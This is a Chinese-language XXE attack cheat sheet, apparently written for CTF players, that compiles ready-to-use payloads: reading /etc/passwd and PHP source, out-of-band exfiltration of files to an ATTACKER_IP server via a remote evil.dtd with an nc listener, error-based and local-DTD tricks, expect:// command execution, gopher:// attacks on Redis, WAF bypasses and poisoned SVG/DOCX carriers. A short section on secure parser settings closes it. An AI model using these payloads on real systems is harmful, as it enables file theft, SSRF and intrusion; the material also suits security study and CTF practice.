前言
XXE(XML External Entity,XML 外部实体注入)是一种针对 XML 解析器的攻击手法。当应用程序解析用户可控的 XML 输入时,如果解析器未禁用外部实体,攻击者可以利用 DTD 声明中的外部实体读取服务器文件、发起 SSRF 请求、执行拒绝服务攻击,甚至在某些条件下实现远程代码执行。
核心危害:
- 文件读取:
file:///etc/passwd、php://filter 读取源码
- SSRF:通过外部实体向内部系统发起 HTTP 请求
- 端口扫描:利用响应时间或错误信息探测内网开放端口
- 拒绝服务:Billion Laughs 攻击耗尽服务器内存
- RCE(罕见):配合
expect:// 或特定环境(如 PHP except 模块)
本文从 XML/DTD 基础讲起,按有回显、无回显、报错注入、绕过变形四大类整理了十余种 payload,覆盖 file://、php://、expect://、gopher://、jar:// 等多种协议利用,以及 SVG、DOCX、SOAP 等常见 XXE 载体。
一、XML 与 DTD 基础
1.1 什么是 XML 实体
XML 实体(Entity)类似于编程语言中的变量——定义一个实体名,在 XML 文档中引用它时会被替换为对应的值。
1 2 3 4 5 6 7
| <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE root [ <!ENTITY name "Hello World"> <!-- 内部实体定义 --> ]> <root> <message>&name;</message> </root>
|
1.2 什么是外部实体
外部实体(External Entity)的实体值来自外部资源(本地文件或远程 URL):
1 2 3 4 5 6
| <!DOCTYPE root [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> <!-- 外部实体:从本地文件加载 --> ]> <root> <data>&xxe;</data> </root>
|
SYSTEM 关键字告诉解析器去加载指定的资源。这就是 XXE 的核心——攻击者控制 SYSTEM 后面的 URI,解析器去读取任意文件或发起任意请求。
1.3 参数实体(Parameter Entity)
普通实体在 XML 文档内容中使用(&name;),参数实体只能在 DTD 内部使用(%name;):
1 2 3 4
| <!DOCTYPE root [ <!ENTITY % param_entity SYSTEM "http://attacker/evil.dtd"> %param_entity; <!-- 加载并解析远程 DTD 中的参数实体定义 --> ]>
|
参数实体是盲 XXE(Out-of-Band) 的关键——它允许将文件内容拼接到 URL 中,发送给攻击者服务器。
1.4 实体引用语法对比
| 类型 |
定义 |
引用 |
使用位置 |
| 内部实体 |
<!ENTITY x "value"> |
&x; |
XML 文档内容 |
| 外部实体 |
<!ENTITY x SYSTEM "URI"> |
&x; |
XML 文档内容 |
| 参数实体 |
<!ENTITY % x SYSTEM "URI"> |
%x; |
仅在 DTD 内部 |
| 字符实体 |
— |
% → % |
任意位置(HTML/XML 实体编码) |
二、有回显 XXE(In-Band)
有回显是最简单的情况——解析器将实体替换后的内容直接返回在响应中。
2.1 基础文件读取
1 2 3 4 5 6 7
| <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE TZY [ <!ENTITY tzy SYSTEM "file:///flag"> ]> <hello> <ctfshow>&tzy;</ctfshow> </hello>
|
2.2 读取 PHP 源码(防止被解析)
如果直接 file:///index.php,返回的是 PHP 执行后的结果。要用 php://filter 读取原始源码:
1 2 3 4 5 6 7
| <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE root [ <!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=/var/www/html/index.php"> ]> <root> <data>&xxe;</data> </root>
|
拿到 base64 后解码即可得到完整 PHP 源码。
2.3 多行文件读取(CDATA 包装)
如果读取的文件含特殊字符(<、&)导致 XML 解析失败,可以用 CDATA 包装:
1 2 3 4 5 6 7 8 9 10 11
| <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE root [ <!ENTITY % start "<![CDATA["> <!ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % end "]]>"> <!ENTITY % dtd SYSTEM "http://attacker/combine.dtd"> %dtd; ]> <root> <data>&all;</data> </root>
|
远程 combine.dtd:
1
| <!ENTITY all "%start;%file;%end;">
|
2.4 目录列举
部分 PHP/JDK XML 解析器支持 file:// 列出目录:
1
| <!ENTITY dir SYSTEM "file:///var/www/html/">
|
目录列举的支持因解析器而异,PHP 的 SimpleXML 和 DOMDocument 通常不支持,Java/JDK 的 XML 解析器有时可以。
三、盲 XXE(Out-of-Band / 无回显)
当解析结果不返回给用户时,需要通过外部请求将数据带出来。这是 CTF 和实战中更常见的场景。
3.1 基本原理
1 2 3 4 5 6 7 8 9 10 11
| ┌─────────────────────────────────────────────────────────────────┐ │ XML 解析器 │ │ ↓ │ │ 加载远程 DTD (http://attacker/evil.dtd) │ │ ↓ │ │ evil.dtd 中定义: %file 读取 /flag, 拼接到 URL 中 │ │ ↓ │ │ 发起请求 http://attacker/?data=<base64_of_flag> │ │ ↓ │ │ 攻击者从日志中提取 flag │ └─────────────────────────────────────────────────────────────────┘
|
3.2 Payload 组合 1:php://filter + 远程 DTD
发给目标的 XML:
1 2 3 4 5 6 7
| <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE test [ <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag"> <!ENTITY % aaa SYSTEM "http://ATTACKER_IP/evil.dtd"> %aaa; ]> <root>123</root>
|
攻击服务器上的 evil.dtd:
1 2 3
| <!ENTITY % dtd "<!ENTITY % xxe SYSTEM 'http://ATTACKER_IP:9999/?data=%file;'>"> %dtd; %xxe;
|
逐行解读:
| 步骤 |
发生的事情 |
%file |
读取 /flag,base64 编码后赋给参数实体 %file |
%aaa |
加载攻击者的远程 DTD |
evil.dtd 中的 %dtd |
动态定义一个新的参数实体 %xxe,内容是一个 SYSTEM 实体,指向攻击者服务器,URL 中包含 %file 的值 |
%xxe |
触发该实体的引用 → 浏览器发起 GET http://ATTACKER:9999/?data=base64flag |
为什么用 %? 在 DTD 内部定义新实体时,% 会被解析器误认为是实体引用。所以要写成 %(% 的字符实体编码),解析后才变成真正的 %。
3.3 Payload 组合 2:file:// + 远程 DTD
发送到目标的 XML:
1 2 3 4 5 6 7 8 9
| <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE hacker [ <!ENTITY % file SYSTEM "file:///flag"> <!ENTITY % myurl SYSTEM "http://ATTACKER_IP/evil.dtd"> %myurl; ]> <root> <ctfshow>iloveu</ctfshow> </root>
|
攻击服务器上的 evil.dtd:
1 2 3
| <!ENTITY % dtd "<!ENTITY % vps SYSTEM 'http://ATTACKER_IP:9999/?flag=%file;'>"> %dtd; %vps;
|
注意: file:// 直接读取可能包含换行符和特殊字符,会被 HTTP URL 截断。建议用 php://filter 做 base64 编码后再外带(见 3.2)。
3.4 攻击端准备
1 2 3 4 5 6 7 8
| vim evil.dtd
python3 -m http.server 8000
nc -lvvp 9999
|
收到请求路径中的 base64 数据后解码即可。
3.5 盲 XXE 的字符限制
如果文件包含 &、<、#、换行符等,直接拼接 URL 会失败。php://filter 的 base64 编码是最可靠的解法。其他编码链:
1 2 3
| php://filter/read=convert.base64-encode/resource=/flag # base64 编码 php://filter/convert.iconv.utf-8.utf-16/resource=/flag # UTF-16 编码(可能绕过长度限制) php://filter/zlib.deflate/resource=/flag # 压缩后外带(更短)
|
四、报错注入 XXE(Error-Based)
当没有回显且外部请求被防火墙阻断时,可以尝试通过触发 XML 解析错误来泄露数据。
4.1 原理
让解析器将文件内容作为外部实体路径的一部分,当实体加载失败时,错误信息中会包含路径(即文件内容)。
1 2 3 4 5 6
| <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE root [ <!ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % evil SYSTEM "file:///nonexistent/%file;"> %evil; ]>
|
解析器报错:Error: file:///nonexistent/root:x:0:0:... → 文件内容泄露在错误消息中。
4.2 利用本地 DTD 文件(Local DTD)
如果目标禁止外部 DTD 加载,可以重写本机已有的 DTD 文件中的实体:
1 2 3 4 5 6 7 8 9 10 11 12
| <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE root [ <!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd"> <!ENTITY % ISOamsa ' <!ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>"> %eval; %error; '> %local_dtd; ]> <root></root>
|
关键: 利用目标系统上确实存在的 DTD 文件(如 /usr/share/yelp/dtd/docbookx.dtd),重写其中已有的参数实体(如 ISOamsa),注入恶意实体定义。
4.3 常见本地 DTD 路径
1 2 3 4 5 6 7 8
| /usr/share/yelp/dtd/docbookx.dtd /usr/share/xml/docbook/schema/dtd/4.5/docbookx.dtd /usr/share/xml/fontconfig/fonts.dtd /etc/xml/catalog
C:\Windows\System32\inetsrv\config\applicationHost.config
|
五、XXE 支持的协议
不同解析器支持的协议不同,下表整理了常见协议及其利用场景:
| 协议 |
用途 |
示例 |
支持环境 |
file:// |
读取本地文件 |
file:///etc/passwd |
Java、PHP、.NET |
http:// / https:// |
SSRF、外带数据 |
http://attacker/evil.dtd |
几乎所有 |
php://filter |
PHP 文件读取(base64) |
php://filter/read=convert.base64-encode/resource=/flag |
PHP |
php://input |
PHP 标准输入流 |
php://input |
PHP |
expect:// |
命令执行 |
expect://id |
PHP(需要 expect 扩展) |
gopher:// |
SSRF 增强(发送任意 TCP 数据) |
gopher://127.0.0.1:6379/_*1%0d%0a... |
Java、curl |
jar:// |
读取 JAR/ZIP 中的文件 |
jar://http://attacker/evil.zip!/evil.class |
Java/JDK |
netdoc:// |
Java 文件读取 |
netdoc:///etc/shadow |
Java |
ftp:// |
FTP 协议请求 |
ftp://attacker:21/file |
Java |
dict:// |
字典协议(端口探测) |
dict://127.0.0.1:22 |
curl、Java |
5.1 expect:// 命令执行
1 2 3 4 5
| <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE root [ <!ENTITY xxe SYSTEM "expect://id"> ]> <root>&xxe;</root>
|
仅在 PHP 安装了 expect 扩展时可用(非常罕见)。
5.2 gopher:// SSRF 攻击内网
1 2 3 4
| <!DOCTYPE root [ <!ENTITY xxe SYSTEM "gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a..."> ]> <root>&xxe;</root>
|
可以配合 SSRF 打内网的 Redis、MySQL、FastCGI 等服务。
5.3 jar:// 远程类加载(Java)
1 2 3
| <!DOCTYPE root [ <!ENTITY xxe SYSTEM "jar:http://attacker/evil.jar!/com/evil/Evil.class"> ]>
|
适用于 Java 环境,可配合反序列化或其他 JVM 攻击链。
六、绕过手法
6.1 编码绕过(UTF-7)
如果 WAF 检测 XML 中的 SYSTEM、ENTITY 等关键字,可以将整个 XML 文档编码为 UTF-7:
1
| cat exp.xml | iconv -f utf-8 -t utf-7 > payload.xml
|
并修改 XML 声明:
1
| <?xml version="1.0" encoding="UTF-7"?>
|
UTF-7 编码后的 XML 能绕过大量基于 ASCII 字符串匹配的 WAF。
6.2 双引号 / 单引号互换
1 2 3
| <!ENTITY xxe SYSTEM "file:///flag">
<!ENTITY xxe SYSTEM 'file:///flag'>
|
6.3 16 进制 / base64 实体值
1 2 3 4
| <!DOCTYPE root [ <!ENTITY % hex SYSTEM "http://attacker/evil.dtd"> %hex; ]>
|
但这在某些解析器中可能不生效——字符实体只能在文档内容中使用,不能在 DTD 内部直接用于 URI。更可靠的方式是用 % 编码 %。
6.4 空格/注释干扰
1 2
| <!ENTITY xxe SYSTEM "file:///flag"> <!ENTITY xxe SYSTEM "file:///flag">
|
6.5 嵌套参数实体绕过 WAF 关键字检测
1 2 3 4 5 6 7
| <!DOCTYPE root [ <!ENTITY % a "fil"> <!ENTITY % b "e:///fl"> <!ENTITY % c "ag"> <!ENTITY % xxe SYSTEM "%a;%b;%c;"> %xxe; ]>
|
WAF 看到的是 %a;%b;%c; 而不是 file:///flag。
6.6 外部 DTD 绕过
直接将 payload 放在远程 DTD 上,XML 只写加载语句:
1 2 3 4 5 6 7
| <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE root [ <!ENTITY % xxe SYSTEM "http://attacker/evil.dtd"> %xxe; ]> <root></root>
|
所有恶意内容都在远程 DTD 中,WAF 对本地 XML 文档无从检测。
七、常见 XXE 载体
7.1 SVG 文件上传
SVG 文件本身就是 XML 格式。如果网站允许上传 SVG 并返回渲染结果:
1 2 3 4 5 6 7
| <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE svg [ <!ENTITY xxe SYSTEM "file:///etc/hostname"> ]> <svg xmlns="http://www.w3.org/2000/svg" width="100" height="100"> <text x="0" y="15" font-size="16">&xxe;</text> </svg>
|
上传后,渲染出的 SVG 图片上会显示 /etc/hostname 的内容。
7.2 DOCX / XLSX / PPTX 文件
Office 文档本质是 ZIP 包,其中包含 XML 文件。修改 word/document.xml 或 xl/workbook.xml 注入 XXE payload,重新打包:
1 2 3 4 5
| unzip template.docx -d docx_exploit
cd docx_exploit && zip -r ../evil.docx *
|
7.3 SOAP API
SOAP 是基于 XML 的 Web Service 协议,XXE 在 SOAP 请求中常见:
1 2 3 4 5 6 7
| <soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"> <soap:Body> <getUser> <id>&xxe;</id> </getUser> </soap:Body> </soap:Envelope>
|
1 2 3 4 5 6 7 8 9
| <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE feed [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <rss version="2.0"> <channel> <title>&xxe;</title> </channel> </rss>
|
7.5 Content-Type 篡改
如果请求本来是 JSON,可以尝试改为 XML:
1 2 3 4 5 6 7 8 9 10 11 12
| # 原始 POST /api/data HTTP/1.1 Content-Type: application/json {"name": "test"}
# 改 Content-Type 测试 XXE POST /api/data HTTP/1.1 Content-Type: application/xml
<?xml version="1.0"?> <!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]> <name>&xxe;</name>
|
很多后端框架会自动根据 Content-Type 切换解析器,JSON 改 XML 是经典 XXE 发现技巧。
八、自动化工具
8.1 XXEinjector
1 2 3 4 5 6 7 8
| ruby XXEinjector.rb --host=ATTACKER_IP --path=/etc/passwd --file=/tmp/req.txt
ruby XXEinjector.rb --host=ATTACKER_IP --path=/etc/passwd --file=/tmp/req.txt --ssrf
ruby XXEinjector.rb --host=ATTACKER_IP --path=/etc/passwd --file=/tmp/req.txt --httpport=80
|
8.2 Burp Suite
- BApp Store → 搜索 “XXE” → 安装多个扩展
- Collaborator 是盲 XXE 检测的最佳工具——生成唯一域名,在 DTD 中引用,如果收到 DNS/HTTP 回调即确认 XXE 存在
8.3 OOB Server(项目发现工具)
1 2 3 4 5
| interactsh-client -v
|
九、XXE 到 SSRF 攻击链
XXE 和 SSRF 是天然的组合——外部实体本身就是一种 SSRF 触发方式。
1 2 3 4 5
| XXE 实体加载 → 探测内网端口(dict://、http://) → 发现 Redis:6379 → gopher:// 写入 SSH key 或 cron → 反弹 shell
|
端口扫描示例:
1 2 3 4
| <!DOCTYPE root [ <!ENTITY port80 SYSTEM "http://127.0.0.1:80/"> <!ENTITY port6379 SYSTEM "http://127.0.0.1:6379/"> ]>
|
通过响应时间差异或错误信息判断端口是否开放。
十、防御措施
| 层面 |
措施 |
说明 |
| XML 解析器配置 |
禁用外部实体 |
最根本的解决方案 |
| XML 解析器配置 |
禁用 DTD 处理 |
如果业务不需要 DTD,直接关闭 |
| WAF |
检测 <\!DOCTYPE、SYSTEM、ENTITY |
但可被编码绕过,不可单靠 |
| 输入校验 |
校验 Content-Type,拒绝非预期的 XML |
如业务只用 JSON,拒绝 text/xml |
| 文件上传 |
对上传的 SVG/DOCX/XLSX 做清洗 |
移除 XML 中的 <!DOCTYPE 声明 |
| 网络层 |
限制解析器发起外连请求 |
防火墙策略阻断出站到非业务网段 |
| 最小权限 |
解析进程仅授予必要文件权限 |
chroot、seccomp、AppArmor |
| 库/语言 |
使用安全默认配置的解析器 |
Python defusedxml、Java XMLConstants.FEATURE_SECURE_PROCESSING |
各语言安全配置示例
PHP:
1 2 3 4 5 6 7 8
| $xml = file_get_contents('php://input'); $doc = new DOMDocument(); $doc->loadXML($xml, LIBXML_NOENT | LIBXML_DTDLOAD);
$doc->loadXML($xml, LIBXML_NOENT);
libxml_disable_entity_loader(true); $doc->loadXML($xml);
|
Python(使用 defusedxml):
1 2 3 4 5 6 7
| from xml.etree import ElementTree ElementTree.fromstring(xml_data)
from defusedxml.ElementTree import fromstring root = fromstring(xml_data)
|
Java:
1 2 3 4 5 6 7 8
| DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); dbf.setFeature("http://xml.org/sax/features/external-general-entities", false); dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false); dbf.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false); dbf.setXIncludeAware(false); dbf.setExpandEntityReferences(false);
|
十一、快速决策树
1 2 3 4 5 6 7 8
| 收到 XML 解析回显? ├── 是 → 有回显 XXE(二)→ file:// 直接读 / flag,php://filter 读源码 └── 否 → 有报错信息? ├── 是 → 报错注入 XXE(四)→ 本地 DTD 重写 └── 否 → 盲 XXE(三)→ 远程 DTD + VPS 监听 ├── PHP 环境 → php://filter + base64 外带 ├── Java 环境 → jar://、netdoc://、gopher:// └── 不确定 → 先测 http:// 回调,确认后再深入
|
参考